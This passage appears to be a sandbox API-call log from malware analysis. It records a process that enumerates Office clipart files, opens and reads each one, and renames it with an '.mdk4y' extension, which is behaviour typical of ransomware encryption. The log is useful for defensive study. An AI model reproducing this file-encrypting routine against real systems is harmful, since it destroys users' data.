lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="SO00257_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0173.567] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00257_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00257_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0173.568] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824879800000) returned 1 [0173.568] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x476e, lpOverlapped=0x0) returned 1 [0173.569] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824879900000) returned 1 [0173.569] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824879900000) returned 1 [0173.569] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00257_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00257_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00257_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00257_.wmf.mdk4y")) returned 1 [0173.570] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0173.570] AreFileApisANSI () returned 1 [0173.570] GetACP () returned 0x4e4 [0173.570] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SO00289_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="SO00289_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0173.570] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00289_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00289_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0173.571] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824880100000) returned 1 [0173.571] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xd8e0, lpOverlapped=0x0) returned 1 [0173.593] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824882300000) returned 1 [0173.593] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824882300000) returned 1 [0173.594] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00289_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00289_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00289_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00289_.wmf.mdk4y")) returned 1 [0173.595] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0173.595] AreFileApisANSI () returned 1 [0173.595] GetACP () returned 0x4e4 [0173.595] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SO00299_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="SO00299_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0173.595] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00299_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00299_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0173.596] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824882600000) returned 1 [0173.596] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x10cb8, lpOverlapped=0x0) returned 1 [0173.597] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824882700000) returned 1 [0173.597] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824882700000) returned 1 [0173.598] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00299_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00299_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00299_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00299_.wmf.mdk4y")) returned 1 [0173.599] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0173.599] AreFileApisANSI () returned 1 [0173.599] GetACP () returned 0x4e4 [0173.599] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SO00305_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="SO00305_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0173.599] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00305_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00305_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0173.601] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824883100000) returned 1 [0173.601] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x7a04, lpOverlapped=0x0) returned 1 [0173.602] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824883300000) returned 1 [0173.603] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824883300000) returned 1 [0173.604] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00305_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00305_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00305_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00305_.wmf.mdk4y")) returned 1 [0173.605] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0173.605] AreFileApisANSI () returned 1 [0173.605] GetACP () returned 0x4e4 [0173.605] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SO00333_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="SO00333_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0173.605] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00333_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00333_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0173.606] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824883600000) returned 1 [0173.606] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xee4a, lpOverlapped=0x0) returned 1 [0173.616] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824884500000) returned 1 [0173.616] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824884600000) returned 1 [0173.616] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00333_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00333_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00333_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00333_.wmf.mdk4y")) returned 1 [0173.617] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0173.618] AreFileApisANSI () returned 1 [0173.618] GetACP () returned 0x4e4 [0173.618] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SO00345_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="SO00345_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0173.618] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00345_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00345_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0173.618] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824884800000) returned 1 [0173.618] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x8b96, lpOverlapped=0x0) returned 1 [0173.629] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824885900000) returned 1 [0173.629] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824885900000) returned 1 [0173.633] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00345_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00345_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00345_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00345_.wmf.mdk4y")) returned 1 [0173.634] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0173.634] AreFileApisANSI () returned 1 [0173.634] GetACP () returned 0x4e4 [0173.634] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SO00350_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="SO00350_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0173.634] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00350_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00350_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0173.635] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824886500000) returned 1 [0173.635] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xbbe0, lpOverlapped=0x0) returned 1 [0173.637] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824886700000) returned 1 [0173.637] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824886700000) returned 1 [0173.638] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00350_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00350_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00350_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00350_.wmf.mdk4y")) returned 1 [0173.639] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0173.639] AreFileApisANSI () returned 1 [0173.639] GetACP () returned 0x4e4 [0173.639] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SO00352_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="SO00352_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0173.639] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00352_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00352_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0173.640] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824887000000) returned 1 [0173.640] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x934c, lpOverlapped=0x0) returned 1 [0173.649] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824887900000) returned 1 [0173.649] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824887900000) returned 1 [0173.650] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00352_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00352_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00352_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00352_.wmf.mdk4y")) returned 1 [0173.651] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0173.651] AreFileApisANSI () returned 1 [0173.651] GetACP () returned 0x4e4 [0173.651] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SO00364_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="SO00364_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0173.651] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00364_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00364_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0173.652] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824888200000) returned 1 [0173.652] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x1948, lpOverlapped=0x0) returned 1 [0173.659] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824888900000) returned 1 [0173.659] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824888900000) returned 1 [0173.660] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00364_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00364_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00364_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00364_.wmf.mdk4y")) returned 1 [0173.661] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0173.661] AreFileApisANSI () returned 1 [0173.661] GetACP () returned 0x4e4 [0173.661] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SO00367_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="SO00367_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0173.661] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00367_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00367_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0173.661] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824889100000) returned 1 [0173.662] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x51ea, lpOverlapped=0x0) returned 1 [0173.672] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824890200000) returned 1 [0173.672] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824890200000) returned 1 [0173.673] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00367_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00367_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00367_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00367_.wmf.mdk4y")) returned 1 [0173.674] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0173.674] AreFileApisANSI () returned 1 [0173.674] GetACP () returned 0x4e4 [0173.674] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SO00373_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="SO00373_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0173.674] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00373_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00373_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0173.674] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824890500000) returned 1 [0173.675] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x3308, lpOverlapped=0x0) returned 1 [0173.676] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824890600000) returned 1 [0173.676] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824890600000) returned 1 [0173.677] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00373_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00373_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00373_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00373_.wmf.mdk4y")) returned 1 [0173.677] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0173.677] AreFileApisANSI () returned 1 [0173.677] GetACP () returned 0x4e4 [0173.677] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SO00382_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="SO00382_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0173.678] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00382_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00382_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0173.678] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824890800000) returned 1 [0173.678] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x27f4, lpOverlapped=0x0) returned 1 [0173.679] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824890900000) returned 1 [0173.679] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824890900000) returned 1 [0173.680] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00382_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00382_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00382_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00382_.wmf.mdk4y")) returned 1 [0173.681] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0173.681] AreFileApisANSI () returned 1 [0173.681] GetACP () returned 0x4e4 [0173.681] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SO00390_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="SO00390_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0173.681] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00390_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00390_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0173.681] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824891100000) returned 1 [0173.681] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xb7c, lpOverlapped=0x0) returned 1 [0173.688] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824891800000) returned 1 [0173.688] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824891800000) returned 1 [0173.688] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00390_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00390_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00390_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00390_.wmf.mdk4y")) returned 1 [0173.689] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0173.689] AreFileApisANSI () returned 1 [0173.689] GetACP () returned 0x4e4 [0173.689] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SO00391_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="SO00391_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0173.689] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00391_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00391_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0173.690] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824892000000) returned 1 [0173.690] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x828, lpOverlapped=0x0) returned 1 [0173.691] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824892100000) returned 1 [0173.692] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824892200000) returned 1 [0173.692] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00391_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00391_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00391_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00391_.wmf.mdk4y")) returned 1 [0173.693] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0173.693] AreFileApisANSI () returned 1 [0173.693] GetACP () returned 0x4e4 [0173.693] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SO00416_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="SO00416_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0173.693] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00416_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00416_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, 